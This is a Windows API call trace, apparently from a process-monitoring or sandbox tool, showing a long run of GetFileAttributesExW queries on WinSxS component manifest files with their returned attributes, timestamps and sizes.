	[0106.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winrsplugins.resources_31bf3856ad364e35_6.1.7600.16385_en-us_159345c6da1672e1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winrsplugins.resources_31bf3856ad364e35_6.1.7600.16385_en-us_159345c6da1672e1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f4a8 | out: lpFileInformation=0x12a2f4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b1942a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b1942a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b9)) returned 1
	[0106.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winrsplugins_31bf3856ad364e35_6.1.7600.16385_none_722b680e4b585656.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winrsplugins_31bf3856ad364e35_6.1.7600.16385_none_722b680e4b585656.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f4f8 | out: lpFileInformation=0x12a2f4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d7d8fb, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xb56fbe0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfe8df5f2, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x2f6d)) returned 1
	[0106.441] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsatmediasamples_31bf3856ad364e35_6.1.7600.16385_none_0b34d0642122c1c4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsatmediasamples_31bf3856ad364e35_6.1.7600.16385_none_0b34d0642122c1c4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f548 | out: lpFileInformation=0x12a2f548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe8de5c, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0xdbe8de5c, ftLastAccessTime.dwHighDateTime=0x1ca0428, ftLastWriteTime.dwLowDateTime=0xe087e3e9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x1de3)) returned 1
	[0106.441] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsock-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a7ddb2029817a18e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsock-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a7ddb2029817a18e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f598 | out: lpFileInformation=0x12a2f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3db9bcd, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf3db9bcd, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x94b)) returned 1
	[0106.441] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsock-core_31bf3856ad364e35_6.1.7601.17514_none_360e4801750ca991.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsock-core_31bf3856ad364e35_6.1.7601.17514_none_360e4801750ca991.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f5e8 | out: lpFileInformation=0x12a2f5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc2e3da, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5dc2e3da, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5dc5453b, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x11f26)) returned 1
	[0106.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsock-helper-tcpip_31bf3856ad364e35_6.1.7600.16385_none_27a7f7694b388c01.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsock-helper-tcpip_31bf3856ad364e35_6.1.7600.16385_none_27a7f7694b388c01.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f638 | out: lpFileInformation=0x12a2f638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8048df87, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xb56fbe0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4c2827e4, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xe4d)) returned 1
	[0106.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsock-installer_31bf3856ad364e35_6.1.7600.16385_none_8f75d562a346d490.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsock-installer_31bf3856ad364e35_6.1.7600.16385_none_8f75d562a346d490.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f688 | out: lpFileInformation=0x12a2f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x820ac130, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x820ac130, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa65d304e, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xe27)) returned 1
	[0106.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsock-legacy-afd_31bf3856ad364e35_6.1.7600.16385_none_477be503cda35f27.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsock-legacy-afd_31bf3856ad364e35_6.1.7600.16385_none_477be503cda35f27.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f6d8 | out: lpFileInformation=0x12a2f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c103499, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7c103499, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x24865372, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1
	[0106.442] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsock-legacy_31bf3856ad364e35_6.1.7600.16385_none_3f5a28502b37c577.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsock-legacy_31bf3856ad364e35_6.1.7600.16385_none_3f5a28502b37c577.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f728 | out: lpFileInformation=0x12a2f728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1295f6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9a05540, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x95357d0d, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xd86)) returned 1
	[0106.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsrv-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c01e7ca36d3191ee.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsrv-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c01e7ca36d3191ee.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f778 | out: lpFileInformation=0x12a2f778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd700ab1, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd700ab1, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x990)) returned 1
	[0106.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsrv-adm_31bf3856ad364e35_6.1.7600.16385_none_74fe9f3a6d505307.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsrv-adm_31bf3856ad364e35_6.1.7600.16385_none_74fe9f3a6d505307.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f7c8 | out: lpFileInformation=0x12a2f7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7ff8329, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x7ddab67b, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa80445e3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xabd)) returned 1
	[0106.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsrv.resources_31bf3856ad364e35_6.1.7600.16385_en-us_99be31681e1cff53.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsrv.resources_31bf3856ad364e35_6.1.7600.16385_en-us_99be31681e1cff53.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f818 | out: lpFileInformation=0x12a2f818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cf817e, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf131511f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf0cf817e, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x876)) returned 1
	[0106.444] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winsrv_31bf3856ad364e35_6.1.7601.17514_none_14a49c11b2f4bfec.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winsrv_31bf3856ad364e35_6.1.7601.17514_none_14a49c11b2f4bfec.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f868 | out: lpFileInformation=0x12a2f868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed843e9, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7ed843e9, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7edaa549, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1bae)) returned 1
	[0106.444] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wintrust-dll_31bf3856ad364e35_6.1.7601.17514_none_4dd43f34b0b06f44.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wintrust-dll_31bf3856ad364e35_6.1.7601.17514_none_4dd43f34b0b06f44.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f8b8 | out: lpFileInformation=0x12a2f8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75a3b19a, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x75a3b19a, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x75a612fa, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x97c)) returned 1
	[0106.444] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winusb_31bf3856ad364e35_6.1.7600.16385_none_1260b05bb6138cf7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winusb_31bf3856ad364e35_6.1.7600.16385_none_1260b05bb6138cf7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f908 | out: lpFileInformation=0x12a2f908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bde4e1, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87bde4e1, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x62d10235, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x8bf)) returned 1
	[0106.444] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winver.resources_31bf3856ad364e35_6.1.7600.16385_en-us_76e4ca32a1f41d65.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winver.resources_31bf3856ad364e35_6.1.7600.16385_en-us_76e4ca32a1f41d65.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f958 | out: lpFileInformation=0x12a2f958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b71649, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4b97902, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x85b)) returned 1
	[0106.445] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-winver_31bf3856ad364e35_6.1.7600.16385_none_12466fe3b629e036.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-winver_31bf3856ad364e35_6.1.7600.16385_none_12466fe3b629e036.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f9a8 | out: lpFileInformation=0x12a2f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5ac3f6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x129cddbc, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x61e55b3e, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x934)) returned 1
	[0106.445] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wirelesslanhelperclass_31bf3856ad364e35_6.1.7600.16385_none_f6a5ba29c98b1358.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wirelesslanhelperclass_31bf3856ad364e35_6.1.7600.16385_none_f6a5ba29c98b1358.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2f9f8 | out: lpFileInformation=0x12a2f9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dab43f7, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x1981016c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4dbbed82, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1977f)) returned 1
	[0106.445] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlan-dialog.resources_31bf3856ad364e35_6.1.7600.16385_en-us_deed515179c1cf19.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlan-dialog.resources_31bf3856ad364e35_6.1.7600.16385_en-us_deed515179c1cf19.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fa48 | out: lpFileInformation=0x12a2fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93293e2, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf93293e2, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x92f)) returned 1
	[0106.445] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlan-dialog_31bf3856ad364e35_6.1.7600.16385_none_6ba366bd0755f2bc.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlan-dialog_31bf3856ad364e35_6.1.7600.16385_none_6ba366bd0755f2bc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fa98 | out: lpFileInformation=0x12a2fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80445e3, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x18f91e80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xa82598f9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x3b4b)) returned 1
	[0106.446] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlan-extension_31bf3856ad364e35_6.1.7600.16385_none_55d820d53d0a8fa3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlan-extension_31bf3856ad364e35_6.1.7600.16385_none_55d820d53d0a8fa3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fae8 | out: lpFileInformation=0x12a2fae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dd159c7, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x192b2ebc, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4dd3bb24, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x9a0)) returned 1
	[0106.446] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlan-netsh-helper_31bf3856ad364e35_6.1.7600.16385_none_7092d9d97df59a25.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlan-netsh-helper_31bf3856ad364e35_6.1.7600.16385_none_7092d9d97df59a25.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fb38 | out: lpFileInformation=0x12a2fb38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x547c0b40, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19561814, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5480cdfa, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xcb3)) returned 1
	[0106.446] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlancoinstaller_31bf3856ad364e35_6.1.7600.16385_none_aab0e8a1758f24f7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlancoinstaller_31bf3856ad364e35_6.1.7600.16385_none_aab0e8a1758f24f7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fb88 | out: lpFileInformation=0x12a2fb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b3822bf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8b3822bf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xfc652be, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x8d4)) returned 1
	[0106.446] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanconnectionflow_31bf3856ad364e35_6.1.7600.16385_none_e629c73a8182aca5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanconnectionflow_31bf3856ad364e35_6.1.7600.16385_none_e629c73a8182aca5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fbd8 | out: lpFileInformation=0x12a2fbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e7cc4e, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19561814, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf9f875d9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x6d62)) returned 1
	[0106.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlangpclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3337f050791c6970.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlangpclient.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3337f050791c6970.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fc28 | out: lpFileInformation=0x12a2fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c88605, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3cae8be, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xa92)) returned 1
	[0106.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlangpclient_31bf3856ad364e35_6.1.7600.16385_none_149a38d4ea4a4001.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlangpclient_31bf3856ad364e35_6.1.7600.16385_none_149a38d4ea4a4001.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fc78 | out: lpFileInformation=0x12a2fc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6aa867, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x14e9b510, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xcd51413b, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x22ea)) returned 1
	[0106.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlangpui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_75b8a5c3d25e2a01.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlangpui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_75b8a5c3d25e2a01.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fcc8 | out: lpFileInformation=0x12a2fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5acceb8, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5acceb8, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xa8e)) returned 1
	[0106.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlangpui_31bf3856ad364e35_6.1.7601.17514_none_9ea2d5aa2131e232.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlangpui_31bf3856ad364e35_6.1.7601.17514_none_9ea2d5aa2131e232.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fd18 | out: lpFileInformation=0x12a2fd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eeb4eeb, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7eeb4eeb, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7eedb04c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x2cf2)) returned 1
	[0106.448] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanmediamanager_31bf3856ad364e35_6.1.7600.16385_none_f96bf4d6ffe3f71a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanmediamanager_31bf3856ad364e35_6.1.7600.16385_none_f96bf4d6ffe3f71a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fd68 | out: lpFileInformation=0x12a2fd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0ab308, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19a4c3e0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xe2c061e, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x133e)) returned 1
	[0106.448] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanpref.resources_31bf3856ad364e35_6.1.7600.16385_en-us_50c0df8c012149f5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanpref.resources_31bf3856ad364e35_6.1.7600.16385_en-us_50c0df8c012149f5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fdb8 | out: lpFileInformation=0x12a2fdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91855ef, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf91855ef, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x875)) returned 1
	[0106.448] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanpref_31bf3856ad364e35_6.1.7601.17514_none_97b3a79825a15d40.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanpref_31bf3856ad364e35_6.1.7601.17514_none_97b3a79825a15d40.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fe08 | out: lpFileInformation=0x12a2fe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f1627b0, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7f1627b0, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7f188911, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x11753)) returned 1
	[0106.448] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlanschemas_31bf3856ad364e35_6.1.7600.16385_none_09f70e22d614643b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlanschemas_31bf3856ad364e35_6.1.7600.16385_none_09f70e22d614643b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fe58 | out: lpFileInformation=0x12a2fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6d09c4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7c6d09c4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5e93948d, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xe5d)) returned 1
	[0106.449] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wlansvc-clientcfg_31bf3856ad364e35_6.1.7600.16385_none_df0b2f54012e930b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wlansvc-clientcfg_31bf3856ad364e35_6.1.7600.16385_none_df0b2f54012e930b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12a2fea8 | out: lpFileInformation=0x12a2fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6942e75, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x6942e75, ftLastAccessTime.dwHighDateTime=0x1ca0429, ftLastWriteTime.dwLowDateTime=0x7e3fda07, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xe33)) returned 1
